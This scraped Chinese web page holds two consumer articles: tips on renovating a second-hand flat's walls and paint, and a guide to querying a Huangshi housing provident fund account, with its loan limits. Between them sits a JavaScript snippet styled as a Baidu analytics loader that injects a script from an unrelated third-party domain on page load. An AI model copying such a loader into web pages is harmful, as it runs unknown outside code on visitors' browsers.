买二手房装修的必备超级实用攻略

二手房交易近年越来越多，二手房自带前业主的风格，也许很多购买者不是很喜欢，买二手房装修成了不少业主一定会做的事情，今天小编给大家介绍买二手房装修的超级实用攻略。1、买二手房装修的禁忌进屋就正对卫生间，这是意头不好的，所以买二手房装修要避免这一点，除此之外，厨房门和卫生间门不要相对，除了意头不好，厨房是烹饪的地方，这样会影响食物卫生，影响心理健康，对身体也不好。2、墙面的处理买二手房装修之前要不要铲墙皮，具体看看实际情况。怎么判断呢？一种是“干法”，用锤子敲敲，判断声音是否是空鼓，空鼓有可能脱落，意味着基层不牢固，要铲墙皮重刷。反之，无空鼓则基层牢靠，就不用铲了。第二种是“湿法”，向墙皮喷水，等湿透，将易脱落的墙体铲掉，很牢固没有脱落的部分则可以保留。总之，只需将有问题的墙皮铲掉，基层牢固就可以选择保留。这样可以降低成本，节省开支，保证工程质量，当然也可以全部铲掉重做，因人而异。3、墙面改造要注意的地方买二手房装修时，如果原涂料是仿瓷涂料，要将漆膜清除，重新刮腻子。如果直接施工乳胶漆产品，会很容易脱落。另外，在旧漆膜上涂腻子时，要打磨均匀，不然施工后会出现漆膜发花这种难看的现象。如果选择在旧乳胶漆膜的墙面上再次涂漆，要处理好裂纹和翘皮的问题，发丝的裂纹，可以直接用弹性产品覆盖细微的裂纹，出现较大的裂纹时，填补最好用底漆混合的粉料，抹平并均匀打磨后再施工。以上就是小编介绍的买二手房装修的必备实用攻略，希望对你有帮助。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

黄石市住房公积金查询个人账户方法

当单位有为个人缴纳住房公积金的话，职工就应该要去查询个人住房公积金账户里面有多少钱，看看它的缴纳情况等其他的信息。但要查询住房公积金账户跟查询银行卡账户是完全不一样的，它的查询会比较复杂，需要人们懂得相应的查询方法。那么黄石市住房公积金查询个人账户方法是怎么样呢?小编为你介绍了具体查询公积金账户的方法。黄石市住房公积金查询个人账户方法1、网络查询。说明：初始密码为:000000，请务必修改您的初始密码，并保管好您的密码。欲查询最新信息或密码，请拨打语音查询电话：黄石：16845699阳新：7339555大冶：8712004。如查询不到本人信息，请通过单位住房公积金经办人到管理中心办理身份证变更手续或下个月20号以后再登陆查询。2、网点查询。持住房公积金卡到管理中心服务大厅查询机刷卡查询或登录黄石市住房公积金网输入卡号及密码查询，如您对查询的数据有疑义或查询卡的技术问题，请分别按下列电话咨询：住房公积金明细6366750;贷款明细6282484;卡技术6397133、电话查询黄石地区：拨打电话16845699(0.4元/分钟)，接通后按语音提示操作，初始密码“0000”;大冶地区：拨打电话0714-8712004，接通后按语音提示操作，初始密码“0000”;阳新地区：拨打电话0714-7339555，接通后按语音提示操作，初始密码“0000”;黄石市住房公积金贷款贷款额度(一)购买一手房贷款额度。夫妻双方均缴存了住房公积金、信用良好且具备还款能力的购房职工，住房公积金个人住房贷款最高贷款额度为60万元，单方缴存住房公积金的职工，最高贷款额度为50万元。(二)购买二手房贷款额度。夫妻双方均缴存了住房公积金、信用良好且具备还款能力的购房职工，住房公积金个人住房贷款最高贷款额度为50万元，单方缴存住房公积金的职工，最高贷款额度为40万元;其中5年以内房龄(含5年)的贷款比例不能超过房价的70%，6-10年房龄(含10年)贷款比例不能超过房价的60%，11-20年(砖混结构房屋房龄11-15年)贷款比例不能超过房价的50%，20年(砖混结构房屋房龄15年)以上的原则上不予以支持房屋抵押贷款。注：房屋总价的认定以房屋评估价格、实际成交价格和交易计税价格中的最低价格为准。(三)在武汉购买自住住房参照武汉住房公积金个人贷款标准执行，贷款比例不得超过所购房屋总价的80%;(四)不高于按借款人家庭还贷能力确定的贷款限额。其计算公式为：借款人及配偶月收入之和×40%×12个月×贷款年限;(五)商贷转公积金贷款的额度不得超过截止转公积金贷款申请日的商贷余额;(六)建造、翻建、大修自住住房的贷款额度不得超过工程款的50%;注：工程款取评估价值与工程预算价格相比较低者。黄石市住房公积金查询个人账户方法就是这几种，有要查询住房公积金账户余额的人们可以使用。住房公积金对于工薪阶层来说非常的重要，只要你拥有了住房公积金，在买房的时候就可以申请住房公积金贷款。目前住房公积金也有异地提取等政策出现，未来住房公积金还可能异地贷款等等。建议消费者在找工作的时候，一定要找有提供住房公积金的。